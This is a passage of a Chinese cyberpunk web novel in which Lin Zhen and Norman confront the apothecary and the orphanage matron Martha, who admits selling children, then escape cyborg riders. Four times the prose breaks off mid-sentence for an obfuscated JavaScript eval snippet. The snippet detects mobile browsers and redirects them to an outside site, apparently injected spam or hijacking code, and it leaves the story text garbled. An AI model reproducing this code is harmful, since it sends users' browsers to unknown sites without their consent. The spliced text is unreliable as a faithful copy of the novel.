“太拉胯了,我还以为你这么牛逼,什么都知道呢。” “我也不知道你蠢到喝她给的茶啊!” 林真竖起一根手指,笑眯眯:“不是我,是刚才的我。” 说罢,她盯着自己指尖,眼珠就开始往中间靠拢,“你看我斗鸡眼!” “你可闭嘴吧。”诺曼忍无可忍。 药师已经站起身,再次问道:“她死了吗?” 黑子小姐站在她的腿边,低吼一声,蹿上茶几,猛地扑向诺曼。诺曼枪口一抬。黑子小姐生生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938527|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停住,在茶杯之间烦躁地挪动着脚步,发出低沉的咆哮。 气氛一下子剑拔弩张。 可林真却什么都感受不到。她看着药师,像是才反应过来对方问了什么,轻快地笑着回答道:“对的,她死啦。” “尸体呢?” “两万块,卖给荒野猎人啦。”林真举起右手,竖起两根手指:“两万块,可以让桃子他们一天五顿草莓味的营养液,都给我长胖!” 药师从茶几下摸出一把手枪。 可她还没抬起枪,诺曼的子弹就到了。她的虎口鲜血直流,手枪落在茶几上,然后掉到地上。 药师的脸色变了。她缓缓拉开浴衣,从大腿外侧拔出两柄细长的匕首,反握在手里。 诺曼的手枪对准了她的眉心。 “再动一下,就是你的脑子了。”诺曼说道。 黑子小姐挡在药师身前,发出低沉的咆哮。 可药师却突然跪下了。 那两柄雪亮的匕首交叉刺下,没入细犬的脖子。黑棕色的皮毛一下子就被鲜血打湿了。 黑子小姐抬头看了她一眼,发出压抑的“呜呜”声。 药师的双手没有丝毫颤抖。她死死压着细犬,直到它再也发不出一点声音。然后她伏跪在尸体上,双手摊开,任由带血的匕首从她手里滑落。 匕首撞在茶壶上,发出“叮”的一声。 她的长发铺满桌面,声音低哑: “我叫木下枝理。你能够杀死维斯佩拉,我不是你的对手。” “黑子对你们不敬,我杀了。” “我只求你们留我一条性命。” 诺曼手里的手枪抵上了药师的颅骨。 药师一动不动。黑子小姐的鲜血从她的身下漫出来,浸湿了她的长发和浴衣。 林真站在原地,目光落在黑子小姐的眼睛上。它曾经为了她而战斗,它曾经亲呢地蹭她的手。 可现在,那双眼睛里的光正一点点褪去,雾蒙蒙的灰色弥漫上来。 她知道那意味着什么。 可她感觉不到愤怒,也没有恐惧,连惊讶都没有。 她像泡在一池温热的水里,一切都不真实极了。 安恬为什么会来黑街买药。 药又为什么会到她的手上。 绿曼巴怎么会是药师的恋人。 药师又怎么会杀了黑子小姐。 药师就要死去了,那就死去吧。 安恬和玛莎背叛了她,那就杀了安恬,杀了玛莎,杀了收养院里的所有人。 她应该悲伤的。她应该害怕的。 可她怎么什么都感觉不到。 诺曼持枪的手突然被抓住了,是林真。他皱眉道:“边儿去。” 可林真执着地按着他的手:“她已经跪下了……” “这只是黑街的手段罢了。我今天要是再晚一分钟进来,你可能就不会醒来了,你知不知道?” “我知道,我……”林真简直语无伦次了,“药师救过我一次,黑子小姐救过我一次,她的药救了玛莎……虽然玛莎要杀我……她救过我啊……” 在药物的作用下,她依旧笑着。但她的脸上,两行泪水倏然落下。 诺曼抬手劈在林真颈侧,然后单手接住了她。 “药师,你之前帮过她。”他低声道,手里的枪仍旧按在药师的颅骨上。 药师趴伏得更低了,“是的,我认识她的姐姐。” 诺曼眯起眼睛:“林雪?她人呢?” “只有常七爷才知道她的下落。” “林雪只有E级别吧?常老七穷疯了吗?” “七爷要的是她的脑子。她姐姐找我要了大脑激活剂。” “这件事常老七知道吗?” “他不知道。” 诺曼点头,语气冷厉:“很好。那他永远都不需要知道了。记着,她今天留你一命,我随时可以拿走。” 22. 玛莎(二) 林真做了一个很长很长的梦。 梦里,她回到了居民区的公寓,D区23栋1344。 窗外下着雨,雨滴打在窗玻璃上,溅开一朵朵五瓣的小花。她的心里有一只快乐的小鸟,不停地叽叽喳喳。她快要关不住它了。 门外传来熟悉的脚步声,是林雪从农场回来了。 她跳下床,赤脚跑过去,一把拉开门,大喊道:“姐,我有一个好消息!” 门才打开一半,林雪一把拧住她的胳膊,将她推进房间里,关门的动作快得几乎粗暴。 “林真,你背着我做了什么?你这两天做了什么?你是不是偷偷出居民区了?” “姐,我胳膊疼,你放手。我什么都没做,我就是去测了一下大脑等级。” “你只是?那你告诉我,为什么你会上常七爷的名单?” “什么常七爷?我不认识!”林真猛地甩开她的手,“我只是想帮你!他们说要是能选上‘希望之星’,能拿到一大笔钱。你就不用天天去农场了。姐,你知道吗?我是B级!” 林雪一巴掌打在她的脸上,“你是不是这样到处去和人说了?你就不能安安分分地待在这里吗?” “啪”的一声,林真捂着脸抬起头,看向林雪,眼睛里满是难以置信: “林雪,我脑子比你好,就那么让你难以接受吗?我是B级,我不会像你一样,一辈子在这个像牢笼一样的公寓里。我要去上层区,到时候我就不认你了,一分钱都不寄回来!” 她眼眶发红,又委屈又愤怒:“你不是最喜欢收养院的孩子吗?去照顾他们吧,我不要你了。” 林雪抓住她的肩膀,“我宁愿你是一个笨蛋傻瓜,是个普普通通的E级F级!” 她按住林真,从脑机接口里抽出芯片,换上自己的。 “林雪你要做什么?”林真惊叫,“你疯了!你就算拿了我的芯片,也不能假装成我,你不可能登上‘希望之星’的!” “嘘,嘘,你会去上层区,你会去的。”林雪抱住她的脑袋,捧住她的脸颊:“林真,你给我听好,这两天不要出门,听姐姐的。” 她的脸色从未有那么严肃过。 可林真听不进去。她躺在床上,看着窗外的雨,觉得五区的一切都那么让人绝望。她要一辈子当一个E级,活生生耗死在大脑农场里。她几乎喘不过气来。 “喂,林真?林真?” 耳边有人在叫她。林真睁开眼。 她正躺在诺曼安全屋的沙发上,身上盖着一条薄毯。黄昏的光线从窗户落进来,像是人类世界已经走到了尽头。 她的手指止不住地颤抖,心脏跳得飞快。 药师那儿的东西,触发了她的记忆,也触发了大脑对死亡的回忆。 大脑它非常有趣,有时候突发奇想,更多时候循规蹈矩。它执着于习惯的语气,习惯的动作,习惯的思考模式。它看待过去的创伤,就像导航软件看到近路,不管前头是密林、悬崖、还是谁家的后院,但凡有一点机会,它都要拉着你再走一遍。 那就是死亡回响,过去闪回。 她的大脑以为自己正在死去。如果再过一寸,也许就真的死去了。 林真抬手盖在口鼻前,缓慢地深呼吸,让心跳尽量平复下来。 “嘿,你没事吧?”诺曼伸手在她眼前晃了晃,手上带着药酒的味道。 林真摇了摇头:“没事,我只是……想起了一些事情。” “怎么?想起来你欠债一个亿?还是你本来有一个亿?” 林真白了他一眼。 “原来的林真上了常七爷的猎杀名单,她姐姐说的。” “那就对上了,药师也这么说。”诺曼拉下袖子,盖住小臂上的绷带。 林真撑起身:“药师说了什么?你把她……” “她不难杀,先留她一命。她说林雪用了大脑激活剂,把自己伪装成你。”诺曼抬手点了点林真的额头,“那个玩意儿骗得了检测系统,但药效一过,脑子就废了。” “没想到常七爷也有被人蒙骗的时候。”他嗤笑一声,“林雪,药师,绿曼巴。你这具身体身上也真是好一出大戏。” 林真打开他的手:“这出戏里还有一个人。我要去找她。” 她豁然起身,身上本就破破烂烂的衣袖“嗤啦”一声,彻底撕开。 这衣服是彻底不能穿了。 “……诺曼,借件衣服。” 诺曼从高脚椅上跳下来,走近她,手掌从她头顶平移到自己锁骨位置,嗤笑道:“借你你能穿?” “凑活就行,我又不去选美。” 诺曼耸了耸肩,走到墙边的杂物箱旁,把上面压着的零碎移到一边,从箱子里拿出一摞旧衣物,示意林真自己选。 林真随手拿起最上面的一件黑色的长袖兜帽衫,比了一下肩宽。 突然,她的目光被旁边的一样东西吸引住了。被诺曼移开的杂物里,有一个养仓鼠养兔子的小铁丝笼子。 林真把衣服往脖子上一挂,拿起笼子。 笼子正面,挂着一个小木牌,前两个字被涂黑了。她读了出来: “什么什么和陆小舟和陆小白的家?谁是陆小舟?” “我弟弟。”诺曼抱着双臂靠在墙壁上。 “陆小白呢?” “我弟弟的白耗子,眼珠子红得跟喝了人血一样。” “那你是前面那个涂黑的框框?” “……” “绿曼巴说你弟弟……” “绿曼巴一直追杀我。我给我弟改了身份,把他送上‘希望之星’了。” 原本的林真,最大的心愿也是上“希望之星”。 过了半晌,林真才轻声道:“挺好的。” 她不再说话,去洗手间换上衣服,把两根帽绳拉到对称的高度,又把牛仔裤的裤脚塞进靴筒里。 外头的天色已经昏黄,街边点起了红色的灯笼。 诺曼也换了一身干净衣服。他从抽屉里拿出一瓶旧香水,抬手喷了几下,递给林真。 “遮遮味道。”他解释道。 林真往手腕上喷了一点,凑近闻了闻。天竺葵、焦橡木和皮革,混合成一种苦涩沉稳的气味,让人想起一把手柄上包着皮革的大口径手枪。 药酒味,血味,一切会让黑街发现有机可乘的味道,都被掩盖在木香之下。 他们走进黑街深处。 夜色和霓虹纠缠在一起,枪油和酒精的味道在空气中发酵。 酒吧门廊下,有大肆痛饮的酒客。有人喝着喝着忽然掏枪,旁边的人应声而倒,像一滩泼翻的酒。尸体被秃鹫悄无声息地拖走,下一秒就有人顶替了他的位置。 灯光照不到的地方,黑街的乞儿伏低身体,在靴子和大腿间爬行,手指灵巧地滑进酒客的外套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946650|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口袋。 林真看着这一切,罪恶的,迷乱的,放肆的。 几步开外,一位女郎仰着身子探出栏杆,金发如雨落下。一名酒客正伏在她的衣裙半褪的身体上。她看见林真,眼眸迷离地向她伸出手,丰润的红唇轻启: “Miss?” 她的指尖几乎要碰到林真的脸。 林真轻轻拨开她的手指。她的嘴角勾起,眼尾却下垂:“今天不行。试试别人吧.。” 身旁,诺曼吹了声口哨:“黑街把你教得不错。开始像我了。” 他说着,掏出一枚子弹丢入女郎手中。 女郎抓住子弹,在唇边轻轻一吻,媚眼如丝。 “低俗。”林真用肩膀撞开诺曼,加快了脚步。 诺曼耸耸肩,追上林真的脚步:“办事之前讨个彩头。黑街传说她们能带来好运。听说十几年前,有个杀手让她们亲吻了子弹,那晚他干掉了十七个农场守卫。那家伙后来死在酒馆厕所里,嘴里叼着张口红纸条,上面写着‘命运亲吻我’。” 他低声笑了笑:“也有人说这只是营销手段。不过呢,信不信无所谓,能活下来就行。” “我不需要。”林真看着前方。 她的右眼里,黑色世界展开。一瞬间,周围几个街区在她眼中亮起一片蓝紫色的光芒。不论是秃鹫还是打手,这一片的所有脑子,在她眼里无所遁形。 他们一前一后翻过居民区的高墙,悄无声息地来到收养院的门口。 老式工业灯投下昏黄的灯光。 林真叩响了大门。 “嘎吱——” 铁门打开了一条缝,露出铁棍的脸。他手里拿着银色的柯尔特。见到林真,他慌忙放下枪: “林真姐姐?” 林真竖起食指,贴在嘴唇前:“别叫。玛莎还好吗?” 铁棍用力点头。 “我来找她。” “铁棍?是安恬回来了吗?”里间传来玛莎的声音。她一定是刚帮小孩子们洗漱来着,一边擦着手一边走出来,身后跟着一群白色的小尾巴。 看见林真,玛莎停下了脚步:“铁柱,过来,带弟弟妹妹们去睡觉。” 耗子提着裤子从人群里拱出来:“林真姐姐,你从黑街回来啦?” 林真点点头,指了指诺曼:“黑街的人,你不去睡觉,他就把你带走。” 小孩子们先是静了一拍,然后一齐发出了“哇”的声音。 诺曼笑了一声,从风衣下掏出手枪,在手里挽了个花,直直指向孩子们。 孩子们又是一阵“哇!”的惊呼。 林真眼神一冷,右手一手刀砍在诺曼手腕上,拉住他的手臂往下一扯,左手顺势勒住他的后颈。 “诺曼,你有病啊?” “又没上膛。”诺曼翻了个白眼,从她的胳膊肘下抬起头,语气无辜极了,“我配合你嘛。” “好了,都回去睡觉。”林真转头看着孩子们,用命令的语气一说,孩子们便推推搡搡、嘻嘻哈哈地退回了里间。 林真放开诺曼,看向正走来的玛莎,轻声开口: “玛莎。” 他们在孩子们做木工的小桌子旁坐下,点起一盏小油灯。 林真坐在玛莎对面。她从口袋里掏出那个空药盒,放在桌子上。手一推,药盒就向玛莎的方向滑去。 “为什么?”她问道。 23. 玛莎(三) 玛莎按住空药盒。塑料壳和她粗糙的皮肤摩擦着,发出“沙沙”的声音。 沉默在空旷的厂房里蔓延。 她终于开口了:“我只是做了我能做的。我的脑子越来越差了,哪怕在农场干一整天,也赚不到三十个信用点。” 她看了一眼里间,表情温柔:“可他们都指望着我呢。” “所以你出卖了我的信息,是吗?”林真开口问道。 “那天我在收养院外看到你……你一边踢着墙壁一边骂,你说你是个B级的脑子,林雪才不会不要你,反而要收养院里的小废物们。主让我听见了你,我于是就明白了。这就是你的命运。” 诺曼手里的枪一甩,“咔”地一声上了膛。 “诺曼,放下。”林真冷声道。 诺曼从没有听她这样说过话。自从第一次见面,林真的声音一直是温温和和的,像是中枢科技卖得老贵的负离子水。可现在,所有情绪都被剥离出去,每一个字都在桌子上扎下一根冰刺。 他莫名有些不满,把手里的枪拍在桌面上,“这种破借口有什么好听的?听多了小心心软。” 林真没有理会他,“所以你把我的信息卖给了常七爷。” 玛莎点点头:“如果不是你,那就是收养院的孩子了。我只是……?” “多少钱?” “一万信用点。” “就是你给张三的一万信用点?” “我不得不,那笔钱本来可以修好屋顶,再多买点营养剂的。”玛莎双手紧扣:“可那天凌晨,我看见你在居民区游荡,可你应该已经被常七爷的人带走了。我就知道,事情一定哪里出了问题,常七爷抓错了人。我不能让常七爷知道你还活着。如果被发现了,收养院会遭殃。” 她握住了胸前的十字架:“我不能让你活着。可主不允许我杀戮,你懂吗?” “我去你的傻逼二百五主!”诺曼霍然起身,“你不能杀人,你就找尸体猎人杀她?” 玛莎垂着眼睛,没有反驳,只是把药盒推回到林真面前:“我给了你这盒药,它能让你没有痛苦地离开。” “我的天,二区的老爷都要被你感动哭了。”诺曼嗤笑道。 林真盯着那个小药盒。 她突然就想起来了。 那天晚上,屋子里没有开灯。那个女孩哭累了,哆嗦着打开药盒,吃下第一颗药。然后她逐渐忘记了痛苦,忘记了悔恨。她坐在地上,哭着笑起来,一把接着一把往嘴里塞药。 屋外大雨滂沱。 五区一年有十一个月下雨,除了五月。那是“希望之星”发车的时候。 可她再也看不到了。那晚的月亮升起来,照亮了镜子中苍白的没有生机的脸。 林真看向玛莎。 女人的头发已经全白了,就像是银色的月光。 她的神情是那么慈祥。 她是五区没有人要的孩子们的保护神。 她的目光诚恳极了:“林雪把你养得那么脆弱敏感,一点痛苦都承受不了。我本来想救你的,可你不是神选中的人。我只能救那些能活下来的。你不是……你不该活下来。” 林真忽然笑了。 她的右手握成拳,用指关节在桌面狠狠敲了一下。 “咚。” 然后又一下。 “咚。” 油灯的灯光里,她摇了摇头,缓缓开口: “林真该不该活下来,不需要你来做决定。你的主,也不行。” 她说完,站起身,一把拿过诺曼手里的枪。 “嘿——”诺曼一惊,下意识抓住她的手腕。开玩笑了,还没有人能从他手里抢走他的配枪。这要是传出去,他还要不要在黑街混了? 可林真垂眸看了他一眼。 只一瞥,像是最锋利的刀锋,破开光线。 昏暗的灯光从她的鼻尖滚落,点在没有血色的唇峰上。接着,她的嘴唇微不可查地抿了一下。 那点微光于是落下来,如彗星坠落,野火从废墟里燃起。 诺曼喉头动了动,下意识松开手指。 “小心走火。”他干巴巴地说。 林真的手腕低垂,枪口支在桌面上,并不指着玛莎。 可玛莎露出了了然的神情。 “主会原谅你的。”她说。 “是吗?”林真居高临下地看着那张衰老的脸:“那他们呢?玛莎,你已经卖掉了几个孩子了?” 桌边的空气凝固了。 “我靠。”诺曼“唰”地坐直,盯着玛莎的脸,“看不出来啊!” 玛莎双手合十,低下头,额头抵在粗圆的指尖。她的发髻已经松开了,银白的发丝垂下来,遮住了她的眼睛。她的眼眶很深,像是两口黑色的井。 林真听到玛莎在祷告,如同每晚入睡前。她曾经在这样的低语中安心睡去,可现在,她只感到荒谬。 谁是神明?谁能审判? 她手里的枪一点点抬起,黑色的枪口缓缓对准了玛莎的额头。 “仁慈的主啊,愿你保佑这迷失的孩子,让她不被愤怒吞噬,不被仇恨驱使……愿她能在黑暗中看到你的光……” 祷告室里,电子烛火“哔啵”了一声,闪烁了一下。低眉垂目的圣母依旧微笑着,一半面容笼在光中,一半藏于阴影。 里间的大通铺上,桃子死死捂住了耗子的嘴。铁棍半跪在最外侧,以前林真睡的地方,握紧了没有子弹的柯尔特。 林真的手指搭上了扳机:“玛莎,我最后问你一遍,你卖了几个孩子?” “愿你的旨意,不被凡人的恶念所扰……” “玛莎!” 这时,林真身后传来一个颤抖的声音。 “四个,你是第五个。” 安恬走到桌边。她不敢看林真,只是低着头道:“妈妈……他们来了。” 玛莎双手一颤,快速说完最后一句“阿门”,将安恬拉到身后,站起身小步后退。 “他们?”诺曼狐疑回头。 收养院的铁门“轰”地一声被撞开。两辆“野牛”摩托直接冲了进来。骑手戴着纯黑的头盔。他们上身赤裸,却几乎看不见肉色。双手是黑色涂装的合金义肢,腹部和背部是鳞片状的陶瓷装甲。 “林真!”诺曼大喊,一边抄起自己的椅子,猛地砸向其中一辆摩托。 骑手拔出长刀,斜斜砍下。 几乎同时,林真的枪声响起。 子弹从碎成两半的木头椅子中间穿过,直冲骑手的面门而去。 骑手双手松把,猛地后仰。 子弹擦过头盔面罩,玻璃爆开蛛网样的裂纹。 骑手怒吼一声,一把扯下头盔,露出一头夹杂着钢丝的金属脏辫。他勾起嘴角,看着林真,露出一个嗜血的笑,举起右手一挥。 两辆“野牛”摩托怒吼着,开始绕圈逼近。巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958487|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轰鸣声让厂房的钢铁骨架都开始震动。 “狗日的管理者,什么货色都能进居民区。”诺曼咬牙。 “你忘了我们也是偷渡进来的?”林真眯眼,“一人一个?” 诺曼退到林真身旁,抽出她枪套里的半自动,对着金属脏辫打空弹夹。子弹打在陶瓷装甲上,溅起一片火星,但只留下几个白点。 “壳这么厚,集火一个,速战速决,我去抢车。” 此时,金属脏辫的长刀在墙壁上一划。两辆“野牛”摩托一转方向,向着中间的林真和诺曼冲来。 林真口中默念“ESCAPE”。 下一秒,金属脏辫举刀的动作就是一僵。 同时,诺曼扔下半自动,抽出匕首,踩上木桌,助跑两步,凌空扑向金属脏辫。 他左手抓住对方的肩膀,落在摩托后座,匕首悍然刺下。 他正要拔出匕首,突然看见林真身后的另一个骑手抬起左手,手腕向下一扣,合金小臂里弹出一个炮管,直直指向林真。 “林真!”诺曼赶紧大喊。 林真瞬间收回意识,睁开眼睛,回身举枪。 不是,搞歧视啊?你同事还是冷兵器呢? 她来不及打开意识世界,只能凭借感觉快速开枪。 子弹擦着头盔飞过。 炮管的红光亮起—— 这时,一柄带血的匕首飞来,刺中了骑手的肩膀关节。炮口晃了一下,将顶棚轰破了一个大洞。 “上来。”诺曼停在林真身旁。 林真跨上后座:“他们到底是谁的人?” “常老七!真是倒霉催的!” 外头的夜色里,四盏巨大的探照灯应声亮起。一辆越野车向着他们冲来,要把他们堵死在厂房里。 “抓紧了!”诺曼拧死油门。“野牛”摩托轰鸣着,迎着刺眼的灯光冲去。 探照灯打在林真的脸上。她眯起眼,伸手抱住诺曼的腰,单手戴上骇客眼镜。眼镜自动连上她的脑机接口。她的视野里,夜色变得分明,露出改装越野车狰狞的外形,还有左右探出的炮口。 “他们有炮!”她大喊。 诺曼用脚撑了一下地面。“野牛”摩托贴着地,险之又险地躲过了第一发炮弹,接着划出一道弧线,从斜刺里冲出去。 林真回身开了几枪,只打掉了一盏车灯,其他的尽数被防弹玻璃挡下。 一发炮弹擦着他们头顶飞过,在他们面前炸开。 诺曼被迫减速。 他们的身前是居民区的高墙。 他们的身后,炮弹越来越近。 居民区管理所食堂内,老六叼着半截烟,看着远处突然亮起的火光:“……就这么让他们进来了?” “上头说放行啊。”他的同事耸了耸肩,从他手里拿走烟盒,抽出一根:“黑街的常七爷办事,上头还能拦着不成?想和黑街打起来啊?” “你知道是办什么事吗?”老六压低了声音。 “一个消息一包烟,我的了。”同事美美地抽了一口烟,把顺来的烟盒塞进口袋:“听说常七爷手下的扛把子死了,这是寻仇呢,也不知道是哪个倒霉鬼。” 这时,他突然看到了什么,嘴巴张开,香烟掉在桌面上。 老六顺着他的目光望去,只见居民区的围墙外,突然升起十几个幽蓝的光点。 那些光点转瞬便越过围墙,朝着火光和枪声急速掠去。 24. 林真(一) “嘿,诺曼。”林真松开手,就要跳下车,“你还有底牌吗?没有我就去脑他了。” 诺曼一把抓住她的手臂:“不用。” 他的眼底闪烁着淡淡的蓝光。 下一秒,一个蓝色的光点顺着围墙呼啸而来,越过他们的头顶。 那是一架无人机。 林真下意识回头。 “嘭!” 无人机悍然撞在炮弹上,火花四溅。 紧接着,更多的无人机成队飞来,像是一片蓝色的星空,挡在他们和越野车之间。 无人机连续自爆,拦下了接踵而来的炮弹。 在爆炸声里,诺曼重新发动摩托,钻入居民区的巷道。 居民区的房屋越来越密集,越野车的大灯终于消失在视线中。他们穿过无人值守的大门,将居民区和常七爷抛在脑后。 林真手一松,空弹匣打着旋坠入夜色。 她的身体也是一松,一口气泄了,忽然靠倒在诺曼背上。 诺曼的背脊顿时绷紧,像被突如其来的体温灼了一下。他动了动右肩,试图让出一点距离。可他一动,就感觉到林真的额头抵在他的肩胛骨上。他又不敢动了。 “你还好吗?”他低声问,嗓音有些哑,“告诉我你没中弹。” 林真“嗯”了一声,将左脸贴在诺曼的背上。 夜风呼啸而冰冷,身前的人像一团篝火。 “我只是,在想玛莎。”她说。 “那个女人啊……真没想到收养院和黑街关系不浅,看起来居民区也不干净啊。” 林真没有回应。诺曼试图开口说点轻松的:“君子报仇,十年不晚,对不对?你有的是机会。” 林真还是没应。 诺曼试探道:“那要不,明天我们再去一次?” “呐,诺曼。” 声音贴着后背,气息透过薄薄的布料。 “你说,我给谁报仇呢?” “林真……还是林雪?” 林真把脸埋在诺曼的背后。 枪口抵在玛莎额头上的时候,她犹豫了。 林雪的努力,玛莎的选择,和原本的林真的死去,换来了她在这里。 两条命在这里,可她是否有那个资格去报仇? 她本身就是她们死去的证明。她是既得利益者,又有什么立场为受害者复仇? 诺曼收敛了脸上的笑容,没有立刻回答她的问题。 摩托车一路开到黑街的垃圾场。 莫恕已经等在这里,见到“野牛”摩托,他的眼睛就是一亮。 “你们打劫去了?” 诺曼向他伸出手:“东西给我。” 莫恕犹犹豫豫地拿出一板C-4,“多浪费啊,诺曼,你还欠我一辆摩托呢。我看这辆就不错,要不?” “常老七的车,有胆子你就开走。” “那算了。”莫恕瞬间跳出半米远,好像那摩托就是常七爷本人似的,“东西我带到了,我先走了啊,还得去交货。” 诺曼和林真站在垃圾场的边缘,看着那辆“野牛”摩托在火光中炸成一朵绽放的烟花。 金属零件和碎片如雨落下,“叮叮当当”一片响。 火在垃圾场里烧了一会儿,自己熄灭了。 诺曼望着火焰燃尽的地方,突然开口; “你认为你是林真,你就为林真报仇。你是林雪的妹妹,就为林雪报仇。” 林真轻轻点头,若有所思。 可诺曼接着说:“我知道你想听我说这个。可我要说,这些都是屁话。” 他低头看向林真:“黑街的复仇不需要正当性,你不需要为此成为任何人。” “林真,你是活下来的那个人。” 他抬起右手,“狗屁正义在这里。” 接着更高地抬起左手,“你在这里。” 林真摘下骇客眼镜,直视诺曼的眼睛:“活下来的人……就能定义正义吗?” 诺曼盯着她看了几秒,忽地嗤笑一声:“不然呢?你死了,谁来听你屁话?你要给林真正义也好,给林雪正义也好,觉得玛莎没错也好。你活着,你的正义才活着。” 林真露出一个勉强的笑:“那我得一直活下去了。” “不想笑就别笑,跟哭似的。” 林真抬起手肘撞了他一下:“闭嘴。” “可以啊,等活着的人都不纠结了。” 林真白了他一眼,披上莫恕带来的雨披,戴上兜帽:“我们现在怎么办?走回去?” 诺曼一拍脑袋:“靠,刚才忘记抢莫恕那小子的车了。” “你怎么老是抢他的车?” “他怕死,每辆车都改装过,速度快,底盘稳,逃命用最好了。” 他们离开垃圾场,隐入黑街狭窄的巷子里。 走路比骑车慢多了。等他们回到安全屋,已经是后半夜了。 林真径直走进卫生间,将匕首“哐”地扔进洗手池。水龙头一开,血水就顺着刀刃蜿蜒而下,顺着瓷面滑入排水口。 她脱掉雨披,拎起自己沾血的衣袖,凑到水龙头下。 “一路上三拨打劫的,你们黑街的夜生活挺热闹啊,诺曼。” “那不然呢?”诺曼也脱下雨披,随口道,“暴力、酒精、性……黑街人也就指着这点东西活了。” 话一出口,他就顿住了。 他不是在和莫恕那个混不吝的说话。 他看了一眼林真苍白的侧脸和紧抿的嘴唇,平时说惯了的话,突然就像脏水一样卡在喉咙里。 “我是说……”他清了清嗓子,扯开话题,“最后一拨又不是冲我们来的,你非得多管什么闲事?” 林真甩干手,侧过头瞥了他一眼。 “我心情不好,我乐意。” 诺曼举起双手:“成成成,理解,绝对理解。” 他走过去,捡起水池里的匕首,左右看了看,一时间没找到抹布,只好撩起自己的衣角胡乱抹了几下。 林真已经脱下外套,抓住上衣下摆准备往上拉。她的动作忽然停住,转头看向诺曼:“我要洗澡。你还要待在这里吗?” 诺曼心里嘀咕:我以为这是我的安全屋来着。 但他什么都没说,只是迅速捡起地上的雨披,反手带上门。 他退得太急,雨披的一角夹在门缝里。 林真听到门外传来一声低低的脏话,然后雨披被猛地抽了出去,发出“嗤啦”一声。 她摇了摇头,解开马尾。 亮紫色的头发被黑发覆盖,镜子里的女孩嘴唇发白,眼神冷漠。 她沉默片刻,把衣服一件件脱下,扔进洗衣烘干机,然后赤脚走到莲蓬头下,伸手打开水。 冷水扑面而下,让她一个激灵。但她没有退开,反而仰起脸迎上去。 水流冲过她的肩膀,顺着背脊流下。 她抬起双臂,环抱自己。她抱得那样紧,胸口和手臂围出的三角区域很快积累起了一捧水。那水贴着她的心口,仿佛灌进了她的心里,要将一切冲刷殆尽。 如果能冲刷殆尽,就好了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969199|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她想起最后遇到的一波打劫的,那时她听到呼救声从一旁的小巷子里传来。 她从背后接近那名施暴者,意识像刀一样劈进男人的思维里,将他逼跪下去,手里的匕首架上对方的脖子。 热血顺着刀刃,滴滴答答落在地面上。 被打劫的是一名年轻的女性,是黑街酒吧招待常见的打扮。 她的脖子上有青紫的掐痕和割伤,正在流血,但她还是尽力抬起头,挺起半露的胸口,哆嗦着解开衣服。 “请放了我……您要怎么样都行,请不要杀我,”她的声音带着哭腔,“我还有孩子。” 林真后退一步,任凭手里的男人砰然倒地,发出沉闷的声响。 “我不要你。” 她伸出手。 女郎迟疑片刻,才敢搭上她的手。 林真怀疑这并非信任,而是恐惧。 面前是一具健康的,没有刀口和义体的身体,难怪会被盯上。这种身体,大概能卖三千信用点吧。 这个念头像毒蛇一样钻进她的脑海,林真悚然而惊。这应该是美丽的身体、年轻的身体,而不是值钱的身体。 她低下头,不敢再看对方的眼睛。 “为什么?”女郎站起身,战战兢兢地问。 林真收回手:“我听到你喊救命了。” 说完,她拉起兜帽,头也不回地离开了巷子。 想到这里,她睁开眼,伸手关上了水,取下一旁深蓝色的大浴巾,裹住身体,拖着湿漉漉的脚步走到洗手台前。 烘干机还在工作,发出低沉的嗡嗡声。 林真背靠洗手台站着,盯着烘干机,努力分散自己的注意力。 过去的林真也喜欢等烘干机结束。 她会守在那台老旧的机器前,看着滚筒一圈圈转动。等机器一停下,她就会把烘好的衣服一股脑儿拿出来,全部扔在床上,然后脸朝下扑进这个温暖干燥的临时小窝里。 她会一直待到衣服变冷,或者林雪一指头戳在她的脑袋上。 “都压出褶子了,起来啦。”林雪会这么说,一边俯身挠她的痒痒肉。 她们会一起笑倒在温暖干燥的衣服堆里。 一阵焦躁涌上心头,林真猛然拉开烘干机的门,拽出一件衣服,将它紧紧压在脸上。她闭着眼,深深吸气。 